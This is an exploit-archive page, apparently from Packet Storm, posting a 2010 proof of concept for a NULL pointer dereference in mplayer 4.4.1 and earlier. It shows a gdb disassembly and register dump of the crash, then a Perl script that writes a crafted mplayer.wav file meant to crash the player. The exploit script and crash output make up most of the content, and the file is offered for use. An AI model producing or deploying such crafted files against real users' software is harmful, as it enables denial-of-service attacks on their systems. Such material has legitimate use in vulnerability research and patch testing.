exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mplayer 4.4.1 NULL Pointer Dereference

Mplayer 4.4.1 NULL Pointer Dereference
Posted Mar 18, 2010
Authored by Pietro Oliva

mplayer versions 4.4.1 and below NULL pointer dereference exploit.

tags | exploit
SHA-256 | 376e5f60a06701cdee772cf805e9548c3f3f6f36aca1a4e40871d91d04d2af41

Mplayer 4.4.1 NULL Pointer Dereference

Change Mirror Download
# Exploit Title: mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day
# Date: 17/03/2010
# Author: Pietro Oliva
# Software Link:
# Version: <= 4.4.1
# Tested on: ubuntu 9.10 but should work in windows too
# CVE :

#Program received signal SIGSEGV, Segmentation fault.
#0x081176d8 in af_calc_filter_multiplier ()
#(gdb) disas af_calc_filter_multiplier
#Dump of assembler code for function af_calc_filter_multiplier:
#0x081176d0 <af_calc_filter_multiplier+0>: push %ebp
#0x081176d1 <af_calc_filter_multiplier+1>: mov %esp,%ebp
#0x081176d3 <af_calc_filter_multiplier+3>: fld1
#0x081176d5 <af_calc_filter_multiplier+5>: mov 0x8(%ebp),%eax
#0x081176d8 <af_calc_filter_multiplier+8>: mov (%eax),%eax ==> mplayer tries to dereference eax, which is a NULL pointer!!!
#0x081176da <af_calc_filter_multiplier+10>: lea 0x0(%esi),%esi
#0x081176e0 <af_calc_filter_multiplier+16>: fmull 0x28(%eax)
#0x081176e3 <af_calc_filter_multiplier+19>: mov 0x18(%eax),%eax
#0x081176e6 <af_calc_filter_multiplier+22>: test %eax,%eax
#0x081176e8 <af_calc_filter_multiplier+24>: jne 0x81176e0 <af_calc_filter_multiplier+16>
#0x081176ea <af_calc_filter_multiplier+26>: pop %ebp
#0x081176eb <af_calc_filter_multiplier+27>: ret
#End of assembler dump.

# REGISTERS:
#eax 0x0 0 ==========> NULL
#ecx 0xfa157a57 -99255721
#edx 0x1fe0 8160
#ebx 0x8509a08 139500040
#esp 0xbfffe2e8 0xbfffe2e8
#ebp 0xbfffe2e8 0xbfffe2e8
#esi 0x7b84000 129515520
#edi 0xf8000 1015808
#eip 0x81176d8 0x81176d8 <af_calc_filter_multiplier+8>
#eflags 0x10216 [ PF AF IF RF ]
#cs 0x73 115
#ss 0x7b 123
#ds 0x7b 123
#es 0x7b 123
#fs 0x0 0
#gs 0x33 51



#!/usr/bin/perl

print "[+] mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day by Pietro Oliva\n";
print "[+] pietroliva[at]gmail[dot]com http://olivapietro.altervista.org\n";
print "[+] creating crafted file mplayer.wav\n";
$buffer="\x52\x49\x46\x46\x1f\x04\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x1f";
open(file,"> mplayer.wav");
print(file $buffer);
print "[+] done!\n";
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close